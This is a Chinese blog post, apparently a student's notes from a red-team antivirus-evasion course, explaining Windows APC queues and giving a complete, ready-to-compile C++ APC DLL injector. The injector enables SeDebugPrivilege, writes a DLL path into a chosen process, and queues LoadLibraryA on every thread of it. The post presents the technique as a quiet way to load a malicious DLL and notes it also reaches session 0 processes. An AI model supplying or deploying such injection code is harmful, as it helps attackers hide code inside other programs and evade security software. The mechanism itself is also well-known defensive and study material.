当前位置: 首页 > news >正文

初识APC机制实现APC注入

参考:APC异步过程调用-CSDN博客

又是跟着红队蓝军师傅学免杀的一天,这节课介绍了APC机制和APC注入的实现。

APC介绍: 

APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在 操作系统中,APC是一种并发机制。

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数, APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。

当用户模式 APC 排队时,它排队的线程不会被定向到调用 APC 函数,除非它处于可警告状态。线 程在调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、 WaitForMultipleObjectsEx或WaitForSingleObjectEx函数时进入可警告状态。如果在 APC 排队之 前等待满足,则线程不再处于可警告等待状态,因此不会执行 APC 函数。但是,APC 仍在排队, 因此当线程调用另一个可警告的等待函数时,APC 函数将被执行。

主要函数:QueueUserAPC

QueueUserAPC 函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函 数地址处来执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含 THREAD_SET_CONTEXT 访问权限。第三个参数表示传递给执行函数的参数,与远线程注入类似,如果 QueueUserAPC 的第一个参数为LoadLibraryA,第三个参数设置的是dll路径即可完成dll注入。

函数结构

DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);

APC的本质

线程是不能被杀掉、挂起、恢复的,线程在执行的时候自己占据着CPU,别人怎么可能控制它呢? 举个极端的例子:如果不调用API,屏蔽中断,并保证代码不出现异常,线程将永久占用CPU。所以说线 程如果想死,一定是自己执行代码把自己杀死,不存在他杀这种情况。那如果想改变一个线程的行为该 怎么办呢?可以给他提供一个函数,让它自己去调用,这个函数就是APC(Asyncroneus Procedure Call),即异步过程调用。

简单实现

简单实现APC队列的插入,在3环调用 QueueUserAPC(在0环和在3环调用是有些区别的,实际的函数实现是在0环所以如果在3环调用实际是从0环到3环来找APC队列中APC加载,而如果在0环就不用这么麻烦。)

// APCtest1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//#include <iostream>
#include <Windows.h>DWORD WINAPI MyThread(LPVOID)
{int i = 0;while (true){SleepEx(300, TRUE);  //这里就启用了APCprintf("%d\n", i++);}
}void __stdcall MyApcFunction(LPVOID)  //等待回调的函数
{printf("Run APCFuntion\n");printf("APCFunction done\n");
}int main(int argc, char* argv[])
{HANDLE hThread = CreateThread(0, 0, MyThread, 0, 0, 0);//创建一个线程Sleep(1000);//等待前面的子线程被创建后再插入APC队列if (!QueueUserAPC((PAPCFUNC)MyApcFunction, hThread, NULL))//QueueUserAPC返回值是0、1.回调了MyApcFunction{printf("QueueUserAPC error : %d\n", GetLastError());}getchar(); //一个用来接受键盘输入的函数,在这里是为了卡着保持主线程一直在运行,只有主线程在运行子线程才能运行return 0;
}

运行的结果

看着其实就和在主函数中调用了一次回调函数一样,但是实际上回调函数是由创建的子线程调用的不是主线程。(说调用可能也不准确,切换为APC来执行APC队列的内容)

APC注入实现

        在 Windows系统中,每个线程都会维护一个线程 APC队列,通过 QucueUserAPC 把一个APC 函数添加到 指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC 函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列,当线程处在 可警告状态时才会执行这些APC 函数。一个线程在内部使用 SignalObjectAndWait 、 SleepEx 、 WaitForSingleObjectEx 、 WaitForMultipleObjectsEx 等函数把自己挂起时就是进入可警告状态, 此时便会执行APC队列函数

 步骤

1.当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断 (或者是Messagebox弹窗的时候不点OK的时候也能注入)

2.当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数

3.利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插 入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的

        每一个进程的每一个线程都有自己的APC队列,我们可以使用QueueUserAPC函数把一个APC函数压入 APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而 是要等到线程处于可通知状态(alertable)才会执行,即只有当一个线程内部调用 SleepEx 等上面说到的 几个特定函数将自己处于挂起状态时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出 (FIFO),在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般 不存在挂起状态,所以APC注入对于这类程序没有明显效果

其实就是一种骚姿势进行的DLL注入,而且动静比之前的小,又已经在运行的线程来回调插入到APC队列中的恶意DLL。

 

流程

1. OpenProcess 打开进程

2. VirtualAlloc 申请空间

3. WriteProcessMemory 写入dll信息

4.根据进程对应的线程id打开线程

5.使用 QueueUserApc 插入执行

此处代码编码方式使用ASCII

其中的关键代码为遍历线程快照并且对每个属于指定PID的进程的线程进行APC插入。

完整代码:

#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>// 提权函数
BOOL EnableDebugPrivilege()
{HANDLE hToken; //用于存储当前进程的访问令牌句柄。BOOL fok = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))//打开当前进程的访问令牌,允许调整权限。{TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1; //设置为 1,表示我们只要调整一个权限。LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);//SE_DEBUG_NAME 是一个定义在 Windows 头文件中的常量,其值为 "SeDebugPrivilege"。获取“调试程序”权限的 LUID,并将该 LUID 存储在 tp.Privileges[0].Luid 中。tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//启用该调试权限。AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);//调整访问令牌的权限。fok = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fok;
}BOOL APCInjectDLL(DWORD dwPid, char* pszDllName) {EnableDebugPrivilege();//打开进程,获取进程句柄HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);if (hProcess == NULL){printf("OpenProcess error!\n", GetLastError());return FALSE;}//向目标进程申请空间写入dll全路径int nSize = strlen(pszDllName);LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nSize, MEM_COMMIT,PAGE_READWRITE);if (pDllAddr == NULL){printf("VirtualAllocEx error!:%d\n", GetLastError());return FALSE;}SIZE_T dwWrittenSize = 0;
BOOL Write=WriteProcessMemory(hProcess, pDllAddr, pszDllName, nSize, &dwWrittenSize);
if (Write == 0){printf("WriteProcessMemory error!:%d\n", GetLastError());return FALSE;}//获取LoadLibraryA的地址HMODULE hMod = GetModuleHandleA("kernel32.dll");FARPROC pFuncAddr = GetProcAddress(hMod, "LoadLibraryA");//拿到LoadLibraryA后面用来注入DLL用。//以上步骤和之前的注入流程基本一致,只有下面这里的注入方式使用了APC队列的方式进行的//创建线程快照THREADENTRY32 te = { 0 };//声明了一个 THREADENTRY32 结构体变量 te 并初始化为 0。用来存储线程的相关信息te.dwSize = sizeof(te);//设置 THREADENTRY32 结构体的大小HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);//创建一个线程快照,TH32CS_SNAPTHREAD 指定了快照类型为线程快照。if (hSnap == INVALID_HANDLE_VALUE) {printf("CreateToolhelp32Snapshot error!:%d\n", GetLastError());return FALSE;}DWORD dwRet = 0;HANDLE hThread = NULL;if (Thread32First(hSnap, &te)) {//使用 Thread32First 函数获取快照中的第一个线程信息。do {if (te.th32OwnerProcessID == dwPid) {    //检查当前线程是否属于目标进程 ID (dwPid)。hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);    //如果线程属于目标进程,则打开该线程的句柄,以便可以向它排队 APCif (hThread) {dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread,(ULONG_PTR)pDllAddr);    //如果成功获取了线程句柄,使用 QueueUserAPC 函数向该线程排队一个 APC。也就是在这一步进行DLL注入。//参数解读// (PAPCFUNC)pFuncAddr:这是一个指向函数的指针,该函数是将要执行的 APC 函数。PAPCFUNC 是一个函数指针类型,指向的函数必须符合特定的签名,即没有返回值,并且接受一个 ULONG_PTR 类型的参数。     //hThread:这是一个线程句柄,标识了将要接收 APC 的线程。//(ULONG_PTR)pDllAddr:这是传递给 APC 函数的参数。即指向保存在进程内存中dll内容hThread = NULL;}}} while (Thread32Next(hSnap, &te));    //使用 Thread32Next 函数遍历快照中的所有线程}//这里是对指定进程中出现的所有线程都进行APC插入,每个线程都有自己的APC队列不是共用的。所以应该一个进程中可能注入了多个线程。CloseHandle(hThread);CloseHandle(hProcess);CloseHandle(hSnap);return TRUE;
}int main(int argc, char* argv[])
{if (argc == 3){if (FALSE == APCInjectDLL((DWORD)_tstol(argv[1]), argv[2]))printf("APCInject failed\n");elseprintf("APCInject successfully\n");}else{printf("\n");printf("Usage: %s PID <DllPath>\n", argv[0]);printf("Example: %s 520 C:\\test.dll\n", argv[0]);exit(1);}return 0;
}

 

注入验证:

同样这种方法也可以注入session 0 不过同样需要使用管理员的权限去运行


http://www.mrgr.cn/news/33419.html

相关文章:

  • 机器学习(贝叶斯算法,决策树)
  • WebAPI性能监控-MiniProfiler与Swagger集成
  • Vue开发风格
  • Vue前端开发,组件及组件的使用
  • 安科瑞工业绝缘监测装置:保障煤矿井下6kV供电系统安全运行的关键应用——安科瑞 丁佳雯
  • 国标GB28181视频平台EasyCVR私有化部署视频平台对接监控录像机NVR时,录像机“资源不足”是什么原因?
  • 有女朋友后,怎么养成贤内助?为自己找个好伴侣,为孩子找个好妈妈,为母亲找个好儿媳
  • NLP 序列标注任务核心梳理
  • Linux —— 网络基础(一)
  • MySQL锁机制
  • 计算机毕业设计 基于Python的荣誉证书管理系统 Django+Vue 前后端分离 附源码 讲解 文档
  • 详解ps用法
  • 求10000以内n的阶乘(高精度运算)
  • golang学习笔记5-基本数据类型的转换
  • Transcipher:从对称加密到同态加密
  • 部署林风社交论坛/社交论坛linfeng-community遇到问题集合
  • 大数据:驱动企业变革的引擎
  • C++如何进阶? -- 整理一些学习资料
  • Mixamo动画使用技巧
  • 充电桩小程序系统开发源码
  • 黑马十天精通MySQL知识点
  • ollama设置开机启动服务
  • Tomcat靶场攻略
  • django应用JWT(JSON Web Token)实战
  • 使用 CMake 创建和调用动态库在 Windows 和 Ubuntu上的差异
  • 消息队列(MQ)消息堆积问题排查与解决思路